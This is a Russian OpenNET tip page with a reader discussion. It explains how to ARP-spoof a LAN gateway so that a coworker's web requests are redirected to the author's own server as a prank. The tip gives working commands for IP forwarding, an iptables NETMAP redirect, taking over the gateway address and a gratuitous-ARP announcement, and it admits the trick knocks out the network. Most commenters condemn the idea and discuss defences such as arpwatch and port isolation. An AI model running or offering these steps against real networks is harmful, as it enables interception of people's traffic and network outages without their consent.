The OpenNET Project
 
Поиск (ключи):    ПРОГРАММЫ СТАТЬИ СОВЕТЫ ФОРУМ
  WIKI НОВОСТИ (+) MAN'ы ДОКУМЕНТАЦИЯ

Подстановка HTTP-трафика определенному компьютеру в локальной сети
Используя нехитрые манипуляции в Linux можно подшутить или удивить соседа по
офису, например отобразив персональное поздравление при попытке открыть соседом
какой-нибудь известного ресурса. Манипуляции проделываются без изменения
конфигурации шлюза, путем поднятия web-сервера на своей машине и
перенаправление на него запросов, через подмену ARP-адреса шлюза в кэше на
машине соседа. Техника действует только в пределах локальной сети.

Включаем на своей машине перенаправление IP-пакетов:

   echo 1 > /proc/sys/net/ipv4/ip_forward

Перенаправляем запросы на 80-порт, заменив адрес назначения в пакете на
192.168.1.200 - локальный IP машины с подставным шлюзом. На локальной машине
должен быть заблаговременно поднят http-сервер с нужной страницей.

   iptables -t nat -A PREROUTING -p tcp --dport 80 -j NETMAP --to 192.168.1.200

Добавляем адрес реального шлюза (192.168.1.1) на сетевой интерфейс:

   ip addr add 192.168.1.1/24 dev eth0

Анонсируем смену MAC-адреса шлюза:

   arping -c 3 -A -I eth0 192.168.1.1 

После завершения розыгрыша убираем IP шлюза с локального интерфейса:

   ip addr delete 192.168.1.1/24 dev eth0
   iptables -t nat -D PREROUTING -p tcp --dport 80 -j NETMAP --to 192.168.1.200
   ifconfig eth0 down
   ifconfig eth0 up
   arp -d 192.168.1.1

Внимание, описанное действие не следует применять в рабочей сети предприятия,
так как подстановка шлюза на время блокирует работу сети из-за конфликта с
реальным шлюзом.
 
01.10.2010 , Источник: http://blog.ksplice.com/2010/09/hij...
Раздел:    Корень / Администратору / Сетевая подсистема, маршрутизация / Ethernet, ARP, привязка MAC адресов.

Обсуждение [ Линейный режим | Показать все | RSS ]
 
  • 1.1, Аноним, 16:45, 02/10/2010 [ответить] [смотреть все]
  • +/
    На предприятиях очень часто в интернет через прокси выходят ... весь текст скрыт [показать]
     
     
  • 2.3, pavlinux, 21:52, 02/10/2010 [^] [ответить] [смотреть все] [показать ветку]  
  • +/
    Да собственно Почему бы не поднять squid вместо вебсервака url_rewrite_pro... весь текст скрыт [показать] [показать ветку]
     
  • 1.2, mitiok, 18:20, 02/10/2010 [ответить] [смотреть все]  
  • +/
    наверное подделать популярные зоны в бинде и засунуть розыгрываемого во view было бы более safe
     
     
  • 2.9, Xaionaro, 14:07, 04/10/2010 [^] [ответить] [смотреть все] [показать ветку]  
  • +/
    Это требует доступа к bind ... весь текст скрыт [показать] [показать ветку]
     
     
  • 3.11, Andrey Mitrofanov, 15:22, 04/10/2010 [^] [ответить] [смотреть все]  
  • +/
    Да-да Или отдельного полезного совета Подстановка DNS-трафика определенно... весь текст скрыт [показать]
     
     
  • 4.12, Xaionaro, 15:54, 04/10/2010 [^] [ответить] [смотреть все]  
  • +/
    Но так или иначе будет применяться скорее всего arp-спуфинг, что приведёт к ... весь текст скрыт [показать]
     
  • 1.4, Jordan, 23:54, 02/10/2010 [ответить] [смотреть все]  
  • +/
    Ога, главное всё сделать пока админ не пришол :)
    P.S.
    "через подмену ARP-адреса шлюза в кэше на машине соседа."
    как это реализовать если нет доступа к машине соседа?
    P.S.S.
    Это работоспособно при включеном шлюзе?
     
     
  • 2.6, Дядя Федор, 22:21, 03/10/2010 [^] [ответить] [смотреть все] [показать ветку]  
  • +/
    Почитайте как работает ARP-кэш Может снизойдет озарение Добавлю только, что п... весь текст скрыт [показать] [показать ветку]
     
  • 1.7, User294, 00:08, 04/10/2010 [ответить] [смотреть все]  
  • +1 +/
    "How to pwn your corporate network for dummies" :-)
     
  • 1.8, Aquarius, 01:30, 04/10/2010 [ответить] [смотреть все]  
  • +/
    шлюз будет недоволен, а за ним и админ
     
  • 1.10, keir, 15:13, 04/10/2010 [ответить] [смотреть все]  
  • +/
    В нормально настроенной сети это не провернуть. И вообще, мануал из серии "как делать не надо, чтобы выжить"
     
     
  • 2.13, Xaionaro, 15:58, 04/10/2010 [^] [ответить] [смотреть все] [показать ветку]  
  • +/
    Ну что такое нормально настроенная сеть Есть вот два cisco-выз свитча, в кото... весь текст скрыт [показать] [показать ветку]
     
     
  • 3.16, keir, 20:42, 04/10/2010 [^] [ответить] [смотреть все]  
  • +/
    Помешает switchport protected За каким чертом двум клиентским компам в рабочей ... весь текст скрыт [показать]
     
     
  • 4.17, Xaionaro, 21:03, 04/10/2010 [^] [ответить] [смотреть все]  
  • +/
    Ну в разных подразделениях разных контор - по-разному Например, в МИФИ нет корп... весь текст скрыт [показать]
     
     
  • 5.18, keir, 21:13, 04/10/2010 [^] [ответить] [смотреть все]  
  • +/
    gt оверквотинг удален Извините, но начиналось все с соседа по офису, т е речь... весь текст скрыт [показать]
     
     
  • 6.19, Xaionaro, 21:16, 04/10/2010 [^] [ответить] [смотреть все]  
  • +/
    Это я извиняюсь, забыл некоторые элементы основного сообщения Но пример с моим ... весь текст скрыт [показать]
     
     
  • 7.22, Дядя Федор, 09:18, 05/10/2010 [^] [ответить] [смотреть все]  
  • +/
    Откройте для себя L3-уровень И прочитайте - что такое маршрутизация VLAN, как... весь текст скрыт [показать]
     
     
  • 8.25, keir, 23:09, 05/10/2010 [^] [ответить] [смотреть все]  
  • +/
    Кстати говоря, хорошо настроенный и отфильтрованный L2 иногда поудобнее L3 бывае... весь текст скрыт [показать]
     
  • 8.27, Xaionaro, 02:19, 06/10/2010 [^] [ответить] [смотреть все]  
  • +/
    Я знаю что такое маршрутизация, и знаю где L2, а где L3 И что вы предлагаете З... весь текст скрыт [показать]
     
     
  • 9.31, Дядя Федор, 19:08, 06/10/2010 [^] [ответить] [смотреть все]  
  • +/
    Наверное все-таки терминируемых Ну дык - а в чем тогда проблема Для дос... весь текст скрыт [показать]
     
     
  • 10.36, Xaionaro, 09:28, 09/10/2010 [^] [ответить] [смотреть все]  
  • +/
    Упс Бывает Перечитал научно-популярного чтива на тему детерминирована ли на... весь текст скрыт [показать]
     
     
  • 11.37, Дядя Федор, 20:55, 09/10/2010 [^] [ответить] [смотреть все]  
  • +/
    Да не в этом дело Можно хоть на каждого сотрудника заводить VLAN И они будут д... весь текст скрыт [показать]
     
  • 4.24, User294, 15:53, 05/10/2010 [^] [ответить] [смотреть все]  
  • –2 +/
    Только они имеют такое нехорошее свойство - место там заканчиватся почему-то И ... весь текст скрыт [показать]
     
     
  • 5.26, keir, 23:14, 05/10/2010 [^] [ответить] [смотреть все]  
  • +/
    Ну, любой сервер может нагнуться, так что в реальных Ынтерпрайзах приходится з... весь текст скрыт [показать]
     
  • 5.33, XoRe, 19:16, 06/10/2010 [^] [ответить] [смотреть все]  
  • +/
    Ну у вас и аргументы, уважаемый Не, ну правда - подсистемы хранения сейчас от... весь текст скрыт [показать]
     
     
  • 6.34, User294, 02:51, 08/10/2010 [^] [ответить] [смотреть все]  
  • +/
    Ну да А потом у таких умников нагибается сервант любая железка может сломаться... весь текст скрыт [показать]
     
     
  • 7.35, XoRe, 00:46, 09/10/2010 [^] [ответить] [смотреть все]  
  • +/
    Чет вас понесло Личный негативный опыт ... весь текст скрыт [показать]
     
     ....нить скрыта, показать (16)

  • 1.14, Дядя Федор, 16:14, 04/10/2010 [ответить] [смотреть все]  
  • +/
    Ну, как вариант - APR-кэш может быть сформирован статиком. :) Или где-нить в сети будет стоять arpwatch. Который будет дико материться, обнаружив подобную ситуацию.
     
     
  • 2.20, Аноним, 06:30, 05/10/2010 [^] [ответить] [смотреть все] [показать ветку]  
  • +/
    Фуууу мой arpwatch тихо и интеллигентно залогирует факт, отправит мне письмо... весь текст скрыт [показать] [показать ветку]
     
     
  • 3.21, Дядя Федор, 09:17, 05/10/2010 [^] [ответить] [смотреть все]  
  • +/
    Под словом "материться" я как раз таки и не имел в виду "расстрел на месте". :) Обычного логгирования вполне себе достаточно.
     
     
  • 4.28, Аноним, 05:04, 06/10/2010 [^] [ответить] [смотреть все]  
  • +/
    Не дядя Фёдор - недостаточно Оно необходимо, но недостаточно Тут нужны более ... весь текст скрыт [показать]
     
     
  • 5.32, Дядя Федор, 19:10, 06/10/2010 [^] [ответить] [смотреть все]  
  • +/
    > Оно необходимо, но недостаточно. Тут нужны более активные действия. Просемафорить админу,
    > задрать аларм в NMS ... У менея же порешили что и
    > порт блокировать - вполне резонно. Пока ни одного шутника не уволили
    > ибо шутка получается против себя :)

    Ну это уже зависит от уровня "фашизма" админа. :) Во многих случаях вполне обоснованного.

     
  • 1.15, splat_pack, 17:53, 04/10/2010 [ответить] [смотреть все]  
  • +1 +/
    за такие "шутки" шутник обычно увольняется сходу..
     
     
  • 2.23, XoRe, 11:39, 05/10/2010 [^] [ответить] [смотреть все] [показать ветку]  
  • +/
    >Внимание, описанное действие не следует применять в рабочей сети предприятия, так как подстановка шлюза на время блокирует работу сети из-за конфликта с реальным шлюзом.

    Т.е. у всего отдела (или конторы) "внезапно" пропадет интернет.
    Такого вообще не нужно делать, ни дома, ни на работе.

    > за такие "шутки" шутник обычно увольняется сходу..

    Вот-вот.
    Ну или наказывается так, чтобы отбило охоту тратить оплачиваемое время на создание препятствий производственному процессу других людей.

     
     
  • 3.29, d8r8dr, 08:54, 06/10/2010 [^] [ответить] [смотреть все]  
  • +/
    шутка удается с первыми лицами предприятия (и до них это доходит) - админ идет искать работу
     
     
  • 4.30, Аноним, 10:12, 06/10/2010 [^] [ответить] [смотреть все]  
  • +/
    Не совсем так, если первые лица предприятия смогут провернуть такую шутку, админ... весь текст скрыт [показать]
     
     
  • 5.38, axe, 16:01, 10/12/2010 [^] [ответить] [смотреть все]  
  • +/
    >> шутка удается с первыми лицами предприятия (и до них это доходит) -
    >> админ идет искать работу
    > Не совсем так, если первые лица предприятия смогут провернуть такую шутку, админ
    > админящий такую сетку пойдет искать работу.

    может они просто поменяются местами тогда уж?

     

    Ваш комментарий
    Имя:         
    E-Mail:      
    Заголовок:
    Текст:

     Добавить заметку
     Версия для печати
     
     Поиск заметки:
     

    Последние заметки
    - 12.05 Организация шифрованного бэкапа с помощью rdiff-backup, encfs и Dropbox
    - 11.05 Настройка беспроводного соединения в Debian GNU/Linux
    - 07.05 Использование Google Drive в Linux
    - 18.04 Использование нескольких сетевых стеков в Linux
    - 15.04 Восстановление стандартного KDE меню после его удаления (например, wine)
    - 11.04 Настройка gmirror при использовании GPT во FreeBSD 9
    - 09.04 Маршрутизатор на базе FreeBSD с приоритизация трафика средствами PF и ALTQ
    - 02.04 Частичное восстановление данных MySQL из бэкапа, созданного с использованием LVM
    - 21.03 Настройка DNSSEC в BIND 9.9
    - 17.03 Набор номера на Cisco IP Phone 7960/7940 из скрипта
    RSS | Следующие 15 записей >>


    ПОДПИШИСЬ НА ЖУРНАЛ Linux Format 2012!

    Журнал "Linux Format" (Линукс Формат)- Единственный в России и странах СНГ журнал на русском языке, посвящённый Linux и свободному ПО. Журнал для IT-директоров, IT-менеджеров, программистов, системных администраторов, учителей школ и преподавателей ВУЗов и всех пользователей ПК. В каждом выпуске: Новости индустрии OpenSource, обзоры новинок свободного ПО, обучающие и методические статьи.

    Каждый, кто оформит подписку, получает бонусы и подарки- объёмные наклейки на системный блок, диск с архивом номеров за 2005-2011 г.г. и ежемесячно электронную версию журнала в pdf-формате.

    Оформить подписку на год


      Закладки на сайте
      Проследить за страницей
    Created 1996-2012 by Maxim Chirkov  
    ДобавитьРекламаВебмастеруГИД  
    RUNNet TopList